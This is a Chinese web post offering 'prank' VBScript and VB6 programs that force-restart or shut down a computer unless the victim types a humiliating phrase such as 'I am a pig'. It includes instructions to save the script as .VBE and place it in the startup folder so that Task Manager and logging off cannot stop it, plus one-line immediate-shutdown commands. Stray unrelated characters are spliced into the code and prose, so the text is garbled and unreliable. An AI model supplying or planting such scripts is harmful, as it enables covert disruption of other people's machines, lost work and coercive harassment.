电脑关机QQ整人程序

整人小程序：说我是猪就不关机

程序, 整人

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dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "数好cmd.exe /c shutdown -r -t 60 -c ""快说“我是猪”，不说我是猪就一分钟关你机，不信，试试···"" ",0 ,true

dim a

do while(a <>"我是猪")

a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

msgbox chr(13) + chr(13) + chr(13) + "乖孩子真听州毕拿话啊"

msgbox chr(13) + chr(13) + chr(13) + "下次叔叔买糖给你吃"

msgbox chr(13) + chr(13) + chr(13) + "要吃什么糖啊"

msgbox chr(13) + chr(13) + chr(13) + "什么，大白兔？"

msgbox chr(13) + chr(13) + chr(13) + "不行，不行，大白兔吃了长石头啊"

msgbox chr(13) + chr(13) + chr(13) + "要不叔叔给你讲个故事"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "老和尚在给小和尚讲故事"

msgbox chr(13) + chr(13) + chr(13) + "讲什么故事呢"

msgbox chr(13) + chr(13) + chr(13) + "故事是这样的"

msgbox chr(13) + chr(13) + chr(13) + "从前有个山"

msgbox chr(13) + chr(13) + chr(13) + "山里有个庙"

msgbox chr(13) + chr(13) + chr(13) + "庙里有个老和尚"

msgbox chr(13) + chr(13) + chr(13) + "什么，不听了"

msgbox chr(13) + chr(13) + chr(13) + "别哭别哭，叔叔给你买糖！"

复制代册搭码一个整人的小代码，“说我是猪就不关机”

把上面的代码复制到记事本里，把后缀名改成.VBE

把它放到开始启动里

别人就算调出任务管理器也关不掉

注销也不行

新建一个记事本文档，把如下代码保存。之后把扩展名txt改成vbs。

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dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""只有一秒钟，你上当了"" ",0 ,true

dim a

do while(a <>"我是囧神")

a = inputbox ("说我是囧神,就不关机，快点，说 ""我是囧神"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("森碰wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a"此基谈,0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，真过瘾"

或直锋源接关机：

createobject("wscript.shell").run"cmd.exe /c shutdown -s -t 0"

vb中添加两个label，和一配戚个timer，倒计雀卖唤时十秒，代码如顷凯下

Private Sub Timer1_Timer()

If Label2.Caption <>Str(Timer) Then

Label2.Caption = Time

End If

End Sub

Private Sub form_load()

Timer1.Interval = 1000

Label1.Caption = 10

End Sub

Private Sub label2_change()

Label1.Caption = Label1.Caption - 1

If Label1.Caption = 0 Then

Shell "cmd.exe /c shutdown -s -t 0"

End If

End Sub

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